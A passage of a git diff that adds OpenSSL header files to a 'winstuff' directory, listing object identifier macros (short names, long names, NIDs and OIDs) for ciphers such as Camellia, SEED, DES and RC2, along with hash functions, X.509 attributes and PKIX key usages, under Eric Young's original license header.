SN_camellia_192_ecb "CAMELLIA-192-ECB" +#define LN_camellia_192_ecb "camellia-192-ecb" +#define NID_camellia_192_ecb 755 +#define OBJ_camellia_192_ecb OBJ_camellia,21L + +#define SN_camellia_192_ofb128 "CAMELLIA-192-OFB" +#define LN_camellia_192_ofb128 "camellia-192-ofb" +#define NID_camellia_192_ofb128 767 +#define OBJ_camellia_192_ofb128 OBJ_camellia,23L + +#define SN_camellia_192_cfb128 "CAMELLIA-192-CFB" +#define LN_camellia_192_cfb128 "camellia-192-cfb" +#define NID_camellia_192_cfb128 758 +#define OBJ_camellia_192_cfb128 OBJ_camellia,24L + +#define SN_camellia_256_ecb "CAMELLIA-256-ECB" +#define LN_camellia_256_ecb "camellia-256-ecb" +#define NID_camellia_256_ecb 756 +#define OBJ_camellia_256_ecb OBJ_camellia,41L + +#define SN_camellia_256_ofb128 "CAMELLIA-256-OFB" +#define LN_camellia_256_ofb128 "camellia-256-ofb" +#define NID_camellia_256_ofb128 768 +#define OBJ_camellia_256_ofb128 OBJ_camellia,43L + +#define SN_camellia_256_cfb128 "CAMELLIA-256-CFB" +#define LN_camellia_256_cfb128 "camellia-256-cfb" +#define NID_camellia_256_cfb128 759 +#define OBJ_camellia_256_cfb128 OBJ_camellia,44L + +#define SN_camellia_128_cfb1 "CAMELLIA-128-CFB1" +#define LN_camellia_128_cfb1 "camellia-128-cfb1" +#define NID_camellia_128_cfb1 760 + +#define SN_camellia_192_cfb1 "CAMELLIA-192-CFB1" +#define LN_camellia_192_cfb1 "camellia-192-cfb1" +#define NID_camellia_192_cfb1 761 + +#define SN_camellia_256_cfb1 "CAMELLIA-256-CFB1" +#define LN_camellia_256_cfb1 "camellia-256-cfb1" +#define NID_camellia_256_cfb1 762 + +#define SN_camellia_128_cfb8 "CAMELLIA-128-CFB8" +#define LN_camellia_128_cfb8 "camellia-128-cfb8" +#define NID_camellia_128_cfb8 763 + +#define SN_camellia_192_cfb8 "CAMELLIA-192-CFB8" +#define LN_camellia_192_cfb8 "camellia-192-cfb8" +#define NID_camellia_192_cfb8 764 + +#define SN_camellia_256_cfb8 "CAMELLIA-256-CFB8" +#define LN_camellia_256_cfb8 "camellia-256-cfb8" +#define NID_camellia_256_cfb8 765 + +#define SN_kisa "KISA" +#define LN_kisa "kisa" +#define NID_kisa 773 +#define OBJ_kisa OBJ_member_body,410L,200004L + +#define SN_seed_ecb "SEED-ECB" +#define LN_seed_ecb "seed-ecb" +#define NID_seed_ecb 776 +#define OBJ_seed_ecb OBJ_kisa,1L,3L + +#define SN_seed_cbc "SEED-CBC" +#define LN_seed_cbc "seed-cbc" +#define NID_seed_cbc 777 +#define OBJ_seed_cbc OBJ_kisa,1L,4L + +#define SN_seed_cfb128 "SEED-CFB" +#define LN_seed_cfb128 "seed-cfb" +#define NID_seed_cfb128 779 +#define OBJ_seed_cfb128 OBJ_kisa,1L,5L + +#define SN_seed_ofb128 "SEED-OFB" +#define LN_seed_ofb128 "seed-ofb" +#define NID_seed_ofb128 778 +#define OBJ_seed_ofb128 OBJ_kisa,1L,6L + +#define SN_hmac "HMAC" +#define LN_hmac "hmac" +#define NID_hmac 855 + diff --git a/winstuff/openssl/objects.h b/winstuff/openssl/objects.h new file mode 100644 index 0000000..7242f76 --- /dev/null +++ b/winstuff/openssl/objects.h @@ -0,0 +1,1049 @@ +/* crypto/objects/objects.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_OBJECTS_H +#define HEADER_OBJECTS_H + +#define USE_OBJ_MAC + +#ifdef USE_OBJ_MAC +#include +#else +#define SN_undef "UNDEF" +#define LN_undef "undefined" +#define NID_undef 0 +#define OBJ_undef 0L + +#define SN_Algorithm "Algorithm" +#define LN_algorithm "algorithm" +#define NID_algorithm 38 +#define OBJ_algorithm 1L,3L,14L,3L,2L + +#define LN_rsadsi "rsadsi" +#define NID_rsadsi 1 +#define OBJ_rsadsi 1L,2L,840L,113549L + +#define LN_pkcs "pkcs" +#define NID_pkcs 2 +#define OBJ_pkcs OBJ_rsadsi,1L + +#define SN_md2 "MD2" +#define LN_md2 "md2" +#define NID_md2 3 +#define OBJ_md2 OBJ_rsadsi,2L,2L + +#define SN_md5 "MD5" +#define LN_md5 "md5" +#define NID_md5 4 +#define OBJ_md5 OBJ_rsadsi,2L,5L + +#define SN_rc4 "RC4" +#define LN_rc4 "rc4" +#define NID_rc4 5 +#define OBJ_rc4 OBJ_rsadsi,3L,4L + +#define LN_rsaEncryption "rsaEncryption" +#define NID_rsaEncryption 6 +#define OBJ_rsaEncryption OBJ_pkcs,1L,1L + +#define SN_md2WithRSAEncryption "RSA-MD2" +#define LN_md2WithRSAEncryption "md2WithRSAEncryption" +#define NID_md2WithRSAEncryption 7 +#define OBJ_md2WithRSAEncryption OBJ_pkcs,1L,2L + +#define SN_md5WithRSAEncryption "RSA-MD5" +#define LN_md5WithRSAEncryption "md5WithRSAEncryption" +#define NID_md5WithRSAEncryption 8 +#define OBJ_md5WithRSAEncryption OBJ_pkcs,1L,4L + +#define SN_pbeWithMD2AndDES_CBC "PBE-MD2-DES" +#define LN_pbeWithMD2AndDES_CBC "pbeWithMD2AndDES-CBC" +#define NID_pbeWithMD2AndDES_CBC 9 +#define OBJ_pbeWithMD2AndDES_CBC OBJ_pkcs,5L,1L + +#define SN_pbeWithMD5AndDES_CBC "PBE-MD5-DES" +#define LN_pbeWithMD5AndDES_CBC "pbeWithMD5AndDES-CBC" +#define NID_pbeWithMD5AndDES_CBC 10 +#define OBJ_pbeWithMD5AndDES_CBC OBJ_pkcs,5L,3L + +#define LN_X500 "X500" +#define NID_X500 11 +#define OBJ_X500 2L,5L + +#define LN_X509 "X509" +#define NID_X509 12 +#define OBJ_X509 OBJ_X500,4L + +#define SN_commonName "CN" +#define LN_commonName "commonName" +#define NID_commonName 13 +#define OBJ_commonName OBJ_X509,3L + +#define SN_countryName "C" +#define LN_countryName "countryName" +#define NID_countryName 14 +#define OBJ_countryName OBJ_X509,6L + +#define SN_localityName "L" +#define LN_localityName "localityName" +#define NID_localityName 15 +#define OBJ_localityName OBJ_X509,7L + +/* Postal Address? PA */ + +/* should be "ST" (rfc1327) but MS uses 'S' */ +#define SN_stateOrProvinceName "ST" +#define LN_stateOrProvinceName "stateOrProvinceName" +#define NID_stateOrProvinceName 16 +#define OBJ_stateOrProvinceName OBJ_X509,8L + +#define SN_organizationName "O" +#define LN_organizationName "organizationName" +#define NID_organizationName 17 +#define OBJ_organizationName OBJ_X509,10L + +#define SN_organizationalUnitName "OU" +#define LN_organizationalUnitName "organizationalUnitName" +#define NID_organizationalUnitName 18 +#define OBJ_organizationalUnitName OBJ_X509,11L + +#define SN_rsa "RSA" +#define LN_rsa "rsa" +#define NID_rsa 19 +#define OBJ_rsa OBJ_X500,8L,1L,1L + +#define LN_pkcs7 "pkcs7" +#define NID_pkcs7 20 +#define OBJ_pkcs7 OBJ_pkcs,7L + +#define LN_pkcs7_data "pkcs7-data" +#define NID_pkcs7_data 21 +#define OBJ_pkcs7_data OBJ_pkcs7,1L + +#define LN_pkcs7_signed "pkcs7-signedData" +#define NID_pkcs7_signed 22 +#define OBJ_pkcs7_signed OBJ_pkcs7,2L + +#define LN_pkcs7_enveloped "pkcs7-envelopedData" +#define NID_pkcs7_enveloped 23 +#define OBJ_pkcs7_enveloped OBJ_pkcs7,3L + +#define LN_pkcs7_signedAndEnveloped "pkcs7-signedAndEnvelopedData" +#define NID_pkcs7_signedAndEnveloped 24 +#define OBJ_pkcs7_signedAndEnveloped OBJ_pkcs7,4L + +#define LN_pkcs7_digest "pkcs7-digestData" +#define NID_pkcs7_digest 25 +#define OBJ_pkcs7_digest OBJ_pkcs7,5L + +#define LN_pkcs7_encrypted "pkcs7-encryptedData" +#define NID_pkcs7_encrypted 26 +#define OBJ_pkcs7_encrypted OBJ_pkcs7,6L + +#define LN_pkcs3 "pkcs3" +#define NID_pkcs3 27 +#define OBJ_pkcs3 OBJ_pkcs,3L + +#define LN_dhKeyAgreement "dhKeyAgreement" +#define NID_dhKeyAgreement 28 +#define OBJ_dhKeyAgreement OBJ_pkcs3,1L + +#define SN_des_ecb "DES-ECB" +#define LN_des_ecb "des-ecb" +#define NID_des_ecb 29 +#define OBJ_des_ecb OBJ_algorithm,6L + +#define SN_des_cfb64 "DES-CFB" +#define LN_des_cfb64 "des-cfb" +#define NID_des_cfb64 30 +/* IV + num */ +#define OBJ_des_cfb64 OBJ_algorithm,9L + +#define SN_des_cbc "DES-CBC" +#define LN_des_cbc "des-cbc" +#define NID_des_cbc 31 +/* IV */ +#define OBJ_des_cbc OBJ_algorithm,7L + +#define SN_des_ede "DES-EDE" +#define LN_des_ede "des-ede" +#define NID_des_ede 32 +/* ?? */ +#define OBJ_des_ede OBJ_algorithm,17L + +#define SN_des_ede3 "DES-EDE3" +#define LN_des_ede3 "des-ede3" +#define NID_des_ede3 33 + +#define SN_idea_cbc "IDEA-CBC" +#define LN_idea_cbc "idea-cbc" +#define NID_idea_cbc 34 +#define OBJ_idea_cbc 1L,3L,6L,1L,4L,1L,188L,7L,1L,1L,2L + +#define SN_idea_cfb64 "IDEA-CFB" +#define LN_idea_cfb64 "idea-cfb" +#define NID_idea_cfb64 35 + +#define SN_idea_ecb "IDEA-ECB" +#define LN_idea_ecb "idea-ecb" +#define NID_idea_ecb 36 + +#define SN_rc2_cbc "RC2-CBC" +#define LN_rc2_cbc "rc2-cbc" +#define NID_rc2_cbc 37 +#define OBJ_rc2_cbc OBJ_rsadsi,3L,2L + +#define SN_rc2_ecb "RC2-ECB" +#define LN_rc2_ecb "rc2-ecb" +#define NID_rc2_ecb 38 + +#define SN_rc2_cfb64 "RC2-CFB" +#define LN_rc2_cfb64 "rc2-cfb" +#define NID_rc2_cfb64 39 + +#define SN_rc2_ofb64 "RC2-OFB" +#define LN_rc2_ofb64 "rc2-ofb" +#define NID_rc2_ofb64 40 + +#define SN_sha "SHA" +#define LN_sha "sha" +#define NID_sha 41 +#define OBJ_sha OBJ_algorithm,18L + +#define SN_shaWithRSAEncryption "RSA-SHA" +#define LN_shaWithRSAEncryption "shaWithRSAEncryption" +#define NID_shaWithRSAEncryption 42 +#define OBJ_shaWithRSAEncryption OBJ_algorithm,15L + +#define SN_des_ede_cbc "DES-EDE-CBC" +#define LN_des_ede_cbc "des-ede-cbc" +#define NID_des_ede_cbc 43 + +#define SN_des_ede3_cbc "DES-EDE3-CBC" +#define LN_des_ede3_cbc "des-ede3-cbc" +#define NID_des_ede3_cbc 44 +#define OBJ_des_ede3_cbc OBJ_rsadsi,3L,7L + +#define SN_des_ofb64 "DES-OFB" +#define LN_des_ofb64 "des-ofb" +#define NID_des_ofb64 45 +#define OBJ_des_ofb64 OBJ_algorithm,8L + +#define SN_idea_ofb64 "IDEA-OFB" +#define LN_idea_ofb64 "idea-ofb" +#define NID_idea_ofb64 46 + +#define LN_pkcs9 "pkcs9" +#define NID_pkcs9 47 +#define OBJ_pkcs9 OBJ_pkcs,9L + +#define SN_pkcs9_emailAddress "Email" +#define LN_pkcs9_emailAddress "emailAddress" +#define NID_pkcs9_emailAddress 48 +#define OBJ_pkcs9_emailAddress OBJ_pkcs9,1L + +#define LN_pkcs9_unstructuredName "unstructuredName" +#define NID_pkcs9_unstructuredName 49 +#define OBJ_pkcs9_unstructuredName OBJ_pkcs9,2L + +#define LN_pkcs9_contentType "contentType" +#define NID_pkcs9_contentType 50 +#define OBJ_pkcs9_contentType OBJ_pkcs9,3L + +#define LN_pkcs9_messageDigest "messageDigest" +#define NID_pkcs9_messageDigest 51 +#define OBJ_pkcs9_messageDigest OBJ_pkcs9,4L + +#define LN_pkcs9_signingTime "signingTime" +#define NID_pkcs9_signingTime 52 +#define OBJ_pkcs9_signingTime OBJ_pkcs9,5L + +#define LN_pkcs9_countersignature "countersignature" +#define NID_pkcs9_countersignature 53 +#define OBJ_pkcs9_countersignature OBJ_pkcs9,6L + +#define LN_pkcs9_challengePassword "challengePassword" +#define NID_pkcs9_challengePassword 54 +#define OBJ_pkcs9_challengePassword OBJ_pkcs9,7L + +#define LN_pkcs9_unstructuredAddress "unstructuredAddress" +#define NID_pkcs9_unstructuredAddress 55 +#define OBJ_pkcs9_unstructuredAddress OBJ_pkcs9,8L + +#define LN_pkcs9_extCertAttributes "extendedCertificateAttributes" +#define NID_pkcs9_extCertAttributes 56 +#define OBJ_pkcs9_extCertAttributes OBJ_pkcs9,9L + +#define SN_netscape "Netscape" +#define LN_netscape "Netscape Communications Corp." +#define NID_netscape 57 +#define OBJ_netscape 2L,16L,840L,1L,113730L + +#define SN_netscape_cert_extension "nsCertExt" +#define LN_netscape_cert_extension "Netscape Certificate Extension" +#define NID_netscape_cert_extension 58 +#define OBJ_netscape_cert_extension OBJ_netscape,1L + +#define SN_netscape_data_type "nsDataType" +#define LN_netscape_data_type "Netscape Data Type" +#define NID_netscape_data_type 59 +#define OBJ_netscape_data_type OBJ_netscape,2L + +#define SN_des_ede_cfb64 "DES-EDE-CFB" +#define LN_des_ede_cfb64 "des-ede-cfb" +#define NID_des_ede_cfb64 60 + +#define SN_des_ede3_cfb64 "DES-EDE3-CFB" +#define LN_des_ede3_cfb64 "des-ede3-cfb" +#define NID_des_ede3_cfb64 61 + +#define SN_des_ede_ofb64 "DES-EDE-OFB" +#define LN_des_ede_ofb64 "des-ede-ofb" +#define NID_des_ede_ofb64 62 + +#define SN_des_ede3_ofb64 "DES-EDE3-OFB" +#define LN_des_ede3_ofb64 "des-ede3-ofb" +#define NID_des_ede3_ofb64 63 + +/* I'm not sure about the object ID */ +#define SN_sha1 "SHA1" +#define LN_sha1 "sha1" +#define NID_sha1 64 +#define OBJ_sha1 OBJ_algorithm,26L +/* 28 Jun 1996 - eay */ +/* #define OBJ_sha1 1L,3L,14L,2L,26L,05L <- wrong */ + +#define SN_sha1WithRSAEncryption "RSA-SHA1" +#define LN_sha1WithRSAEncryption "sha1WithRSAEncryption" +#define NID_sha1WithRSAEncryption 65 +#define OBJ_sha1WithRSAEncryption OBJ_pkcs,1L,5L + +#define SN_dsaWithSHA "DSA-SHA" +#define LN_dsaWithSHA "dsaWithSHA" +#define NID_dsaWithSHA 66 +#define OBJ_dsaWithSHA OBJ_algorithm,13L + +#define SN_dsa_2 "DSA-old" +#define LN_dsa_2 "dsaEncryption-old" +#define NID_dsa_2 67 +#define OBJ_dsa_2 OBJ_algorithm,12L + +/* proposed by microsoft to RSA */ +#define SN_pbeWithSHA1AndRC2_CBC "PBE-SHA1-RC2-64" +#define LN_pbeWithSHA1AndRC2_CBC "pbeWithSHA1AndRC2-CBC" +#define NID_pbeWithSHA1AndRC2_CBC 68 +#define OBJ_pbeWithSHA1AndRC2_CBC OBJ_pkcs,5L,11L + +/* proposed by microsoft to RSA as pbeWithSHA1AndRC4: it is now + * defined explicitly in PKCS#5 v2.0 as id-PBKDF2 which is something + * completely different. + */ +#define LN_id_pbkdf2 "PBKDF2" +#define NID_id_pbkdf2 69 +#define OBJ_id_pbkdf2 OBJ_pkcs,5L,12L + +#define SN_dsaWithSHA1_2 "DSA-SHA1-old" +#define LN_dsaWithSHA1_2 "dsaWithSHA1-old" +#define NID_dsaWithSHA1_2 70 +/* Got this one from 'sdn706r20.pdf' which is actually an NSA document :-) */ +#define OBJ_dsaWithSHA1_2 OBJ_algorithm,27L + +#define SN_netscape_cert_type "nsCertType" +#define LN_netscape_cert_type "Netscape Cert Type" +#define NID_netscape_cert_type 71 +#define OBJ_netscape_cert_type OBJ_netscape_cert_extension,1L + +#define SN_netscape_base_url "nsBaseUrl" +#define LN_netscape_base_url "Netscape Base Url" +#define NID_netscape_base_url 72 +#define OBJ_netscape_base_url OBJ_netscape_cert_extension,2L + +#define SN_netscape_revocation_url "nsRevocationUrl" +#define LN_netscape_revocation_url "Netscape Revocation Url" +#define NID_netscape_revocation_url 73 +#define OBJ_netscape_revocation_url OBJ_netscape_cert_extension,3L + +#define SN_netscape_ca_revocation_url "nsCaRevocationUrl" +#define LN_netscape_ca_revocation_url "Netscape CA Revocation Url" +#define NID_netscape_ca_revocation_url 74 +#define OBJ_netscape_ca_revocation_url OBJ_netscape_cert_extension,4L + +#define SN_netscape_renewal_url "nsRenewalUrl" +#define LN_netscape_renewal_url "Netscape Renewal Url" +#define NID_netscape_renewal_url 75 +#define OBJ_netscape_renewal_url OBJ_netscape_cert_extension,7L + +#define SN_netscape_ca_policy_url "nsCaPolicyUrl" +#define LN_netscape_ca_policy_url "Netscape CA Policy Url" +#define NID_netscape_ca_policy_url 76 +#define OBJ_netscape_ca_policy_url OBJ_netscape_cert_extension,8L + +#define SN_netscape_ssl_server_name "nsSslServerName" +#define LN_netscape_ssl_server_name "Netscape SSL Server Name" +#define NID_netscape_ssl_server_name 77 +#define OBJ_netscape_ssl_server_name OBJ_netscape_cert_extension,12L + +#define SN_netscape_comment "nsComment" +#define LN_netscape_comment "Netscape Comment" +#define NID_netscape_comment 78 +#define OBJ_netscape_comment OBJ_netscape_cert_extension,13L + +#define SN_netscape_cert_sequence "nsCertSequence" +#define LN_netscape_cert_sequence "Netscape Certificate Sequence" +#define NID_netscape_cert_sequence 79 +#define OBJ_netscape_cert_sequence OBJ_netscape_data_type,5L + +#define SN_desx_cbc "DESX-CBC" +#define LN_desx_cbc "desx-cbc" +#define NID_desx_cbc 80 + +#define SN_id_ce "id-ce" +#define NID_id_ce 81 +#define OBJ_id_ce 2L,5L,29L + +#define SN_subject_key_identifier "subjectKeyIdentifier" +#define LN_subject_key_identifier "X509v3 Subject Key Identifier" +#define NID_subject_key_identifier 82 +#define OBJ_subject_key_identifier OBJ_id_ce,14L + +#define SN_key_usage "keyUsage" +#define LN_key_usage "X509v3 Key Usage" +#define NID_key_usage 83 +#define OBJ_key_usage OBJ_id_ce,15L + +#define SN_private_key_usage_period "privateKeyUsagePeriod" +#define LN_private_key_usage_period "X509v3 Private Key Usage Period" +#define NID_private_key_usage_period 84 +#define OBJ_private_key_usage_period OBJ_id_ce,16L + +#define SN_subject_alt_name "subjectAltName" +#define LN_subject_alt_name "X509v3 Subject Alternative Name" +#define NID_subject_alt_name 85 +#define OBJ_subject_alt_name OBJ_id_ce,17L + +#define SN_issuer_alt_name "issuerAltName" +#define LN_issuer_alt_name "X509v3 Issuer Alternative Name" +#define NID_issuer_alt_name 86 +#define OBJ_issuer_alt_name OBJ_id_ce,18L + +#define SN_basic_constraints "basicConstraints" +#define LN_basic_constraints "X509v3 Basic Constraints" +#define NID_basic_constraints 87 +#define OBJ_basic_constraints OBJ_id_ce,19L + +#define SN_crl_number "crlNumber" +#define LN_crl_number "X509v3 CRL Number" +#define NID_crl_number 88 +#define OBJ_crl_number OBJ_id_ce,20L + +#define SN_certificate_policies "certificatePolicies" +#define LN_certificate_policies "X509v3 Certificate Policies" +#define NID_certificate_policies 89 +#define OBJ_certificate_policies OBJ_id_ce,32L + +#define SN_authority_key_identifier "authorityKeyIdentifier" +#define LN_authority_key_identifier "X509v3 Authority Key Identifier" +#define NID_authority_key_identifier 90 +#define OBJ_authority_key_identifier OBJ_id_ce,35L + +#define SN_bf_cbc "BF-CBC" +#define LN_bf_cbc "bf-cbc" +#define NID_bf_cbc 91 +#define OBJ_bf_cbc 1L,3L,6L,1L,4L,1L,3029L,1L,2L + +#define SN_bf_ecb "BF-ECB" +#define LN_bf_ecb "bf-ecb" +#define NID_bf_ecb 92 + +#define SN_bf_cfb64 "BF-CFB" +#define LN_bf_cfb64 "bf-cfb" +#define NID_bf_cfb64 93 + +#define SN_bf_ofb64 "BF-OFB" +#define LN_bf_ofb64 "bf-ofb" +#define NID_bf_ofb64 94 + +#define SN_mdc2 "MDC2" +#define LN_mdc2 "mdc2" +#define NID_mdc2 95 +#define OBJ_mdc2 2L,5L,8L,3L,101L +/* An alternative? 1L,3L,14L,3L,2L,19L */ + +#define SN_mdc2WithRSA "RSA-MDC2" +#define LN_mdc2WithRSA "mdc2withRSA" +#define NID_mdc2WithRSA 96 +#define OBJ_mdc2WithRSA 2L,5L,8L,3L,100L + +#define SN_rc4_40 "RC4-40" +#define LN_rc4_40 "rc4-40" +#define NID_rc4_40 97 + +#define SN_rc2_40_cbc "RC2-40-CBC" +#define LN_rc2_40_cbc "rc2-40-cbc" +#define NID_rc2_40_cbc 98 + +#define SN_givenName "G" +#define LN_givenName "givenName" +#define NID_givenName 99 +#define OBJ_givenName OBJ_X509,42L + +#define SN_surname "S" +#define LN_surname "surname" +#define NID_surname 100 +#define OBJ_surname OBJ_X509,4L + +#define SN_initials "I" +#define LN_initials "initials" +#define NID_initials 101 +#define OBJ_initials OBJ_X509,43L + +#define SN_uniqueIdentifier "UID" +#define LN_uniqueIdentifier "uniqueIdentifier" +#define NID_uniqueIdentifier 102 +#define OBJ_uniqueIdentifier OBJ_X509,45L + +#define SN_crl_distribution_points "crlDistributionPoints" +#define LN_crl_distribution_points "X509v3 CRL Distribution Points" +#define NID_crl_distribution_points 103 +#define OBJ_crl_distribution_points OBJ_id_ce,31L + +#define SN_md5WithRSA "RSA-NP-MD5" +#define LN_md5WithRSA "md5WithRSA" +#define NID_md5WithRSA 104 +#define OBJ_md5WithRSA OBJ_algorithm,3L + +#define SN_serialNumber "SN" +#define LN_serialNumber "serialNumber" +#define NID_serialNumber 105 +#define OBJ_serialNumber OBJ_X509,5L + +#define SN_title "T" +#define LN_title "title" +#define NID_title 106 +#define OBJ_title OBJ_X509,12L + +#define SN_description "D" +#define LN_description "description" +#define NID_description 107 +#define OBJ_description OBJ_X509,13L + +/* CAST5 is CAST-128, I'm just sticking with the documentation */ +#define SN_cast5_cbc "CAST5-CBC" +#define LN_cast5_cbc "cast5-cbc" +#define NID_cast5_cbc 108 +#define OBJ_cast5_cbc 1L,2L,840L,113533L,7L,66L,10L + +#define SN_cast5_ecb "CAST5-ECB" +#define LN_cast5_ecb "cast5-ecb" +#define NID_cast5_ecb 109 + +#define SN_cast5_cfb64 "CAST5-CFB" +#define LN_cast5_cfb64 "cast5-cfb" +#define NID_cast5_cfb64 110 + +#define SN_cast5_ofb64 "CAST5-OFB" +#define LN_cast5_ofb64 "cast5-ofb" +#define NID_cast5_ofb64 111 + +#define LN_pbeWithMD5AndCast5_CBC "pbeWithMD5AndCast5CBC" +#define NID_pbeWithMD5AndCast5_CBC 112 +#define OBJ_pbeWithMD5AndCast5_CBC 1L,2L,840L,113533L,7L,66L,12L + +/* This is one sun will soon be using :-( + * id-dsa-with-sha1 ID ::= { + * iso(1) member-body(2) us(840) x9-57 (10040) x9cm(4) 3 } + */ +#define SN_dsaWithSHA1 "DSA-SHA1" +#define LN_dsaWithSHA1 "dsaWithSHA1" +#define NID_dsaWithSHA1 113 +#define OBJ_dsaWithSHA1 1L,2L,840L,10040L,4L,3L + +#define NID_md5_sha1 114 +#define SN_md5_sha1 "MD5-SHA1" +#define LN_md5_sha1 "md5-sha1" + +#define SN_sha1WithRSA "RSA-SHA1-2" +#define LN_sha1WithRSA "sha1WithRSA" +#define NID_sha1WithRSA 115 +#define OBJ_sha1WithRSA OBJ_algorithm,29L + +#define SN_dsa "DSA" +#define LN_dsa "dsaEncryption" +#define NID_dsa 116 +#define OBJ_dsa 1L,2L,840L,10040L,4L,1L + +#define SN_ripemd160 "RIPEMD160" +#define LN_ripemd160 "ripemd160" +#define NID_ripemd160 117 +#define OBJ_ripemd160 1L,3L,36L,3L,2L,1L + +/* The name should actually be rsaSignatureWithripemd160, but I'm going + * to continue using the convention I'm using with the other ciphers */ +#define SN_ripemd160WithRSA "RSA-RIPEMD160" +#define LN_ripemd160WithRSA "ripemd160WithRSA" +#define NID_ripemd160WithRSA 119 +#define OBJ_ripemd160WithRSA 1L,3L,36L,3L,3L,1L,2L + +/* Taken from rfc2040 + * RC5_CBC_Parameters ::= SEQUENCE { + * version INTEGER (v1_0(16)), + * rounds INTEGER (8..127), + * blockSizeInBits INTEGER (64, 128), + * iv OCTET STRING OPTIONAL + * } + */ +#define SN_rc5_cbc "RC5-CBC" +#define LN_rc5_cbc "rc5-cbc" +#define NID_rc5_cbc 120 +#define OBJ_rc5_cbc OBJ_rsadsi,3L,8L + +#define SN_rc5_ecb "RC5-ECB" +#define LN_rc5_ecb "rc5-ecb" +#define NID_rc5_ecb 121 + +#define SN_rc5_cfb64 "RC5-CFB" +#define LN_rc5_cfb64 "rc5-cfb" +#define NID_rc5_cfb64 122 + +#define SN_rc5_ofb64 "RC5-OFB" +#define LN_rc5_ofb64 "rc5-ofb" +#define NID_rc5_ofb64 123 + +#define SN_rle_compression "RLE" +#define LN_rle_compression "run length compression" +#define NID_rle_compression 124 +#define OBJ_rle_compression 1L,1L,1L,1L,666L,1L + +#define SN_zlib_compression "ZLIB" +#define LN_zlib_compression "zlib compression" +#define NID_zlib_compression 125 +#define OBJ_zlib_compression 1L,1L,1L,1L,666L,2L + +#define SN_ext_key_usage "extendedKeyUsage" +#define LN_ext_key_usage "X509v3 Extended Key Usage" +#define NID_ext_key_usage 126 +#define OBJ_ext_key_usage OBJ_id_ce,37 + +#define SN_id_pkix "PKIX" +#define NID_id_pkix 127 +#define OBJ_id_pkix 1L,3L,6L,1L,5L,5L,7L + +#define SN_id_kp "id-kp" +#define NID_id_kp 128 +#define OBJ_id_kp OBJ_id_pkix,3L + +/* PKIX extended key usage OIDs */ + +#define SN_server_auth "serverAuth" +#define LN_server_auth "TLS Web Server Authentication" +#define NID_server_auth 129 +#define OBJ_server_auth OBJ_id_kp,1L + +#define SN_client_auth "clientAuth" +#define LN_client_auth "TLS Web Client Authentication" +#define NID_client_auth 130 +#define OBJ_client_auth OBJ_id_kp,2L + +#define SN_code_sign "codeSigning" +#define LN_code_sign "Code Signing" +#define NID_code_sign 131 +#define OBJ_code_sign OBJ_id_kp,3L + +#define SN_email_protect "emailProtection" +#define LN_email_protect "E-mail Protection" +#define NID_email_protect 132 +#define OBJ_email_protect OBJ_id_kp,4L + +#define SN_time_stamp "timeStamping" +#define LN_time_stamp "Time Stamping" +#define NID_time_stamp 133 +#define OBJ_time_stamp OBJ_id_kp,8L + +/* Additional extended key usage OIDs: Microsoft */ + +#define SN_ms_code_ind "msCodeInd" +#define LN_ms_code_ind "Microsoft Individual Code Signing" +#define NID_ms_code_ind 134 +#define OBJ_ms_code_ind 1L,3L,6L,1L,4L,1L,311L,2L,1L,21L + +#define SN_ms_code_com "msCodeCom" +#define LN_ms_code_com "Microsoft Commercial Code Signing" +#define NID_ms_code_com 135 +#define OBJ_ms_code_com 1L,3L,6L,1L,4L,1L,311L,2L,1L,22L + +#define SN_ms_ctl_sign "msCTLSign" +#define LN_ms_ctl_sign "Microsoft Trust List Signing" +#define NID_ms_ctl_sign 136 +#define OBJ_ms_ctl_sign 1L,3L,6L,1L,4L,1L,311L,10L,3L,1L + +#define SN_ms_sgc "msSGC" +#define LN_ms_sgc "Microsoft Server Gated Crypto" +#define NID_ms_sgc 137 +#define OBJ_ms_sgc 1L,3L,6L,1L,4L,1L,311L,10L,3L,3L + +#define SN_ms_efs "msEFS" +#define LN_ms_efs "Microsoft Encrypted File System" +#define NID_ms_efs 138 +#define OBJ_ms_efs 1L,3L,6L,1L,4L,1L,311L,10L,3L,4L + +/* Additional usage: 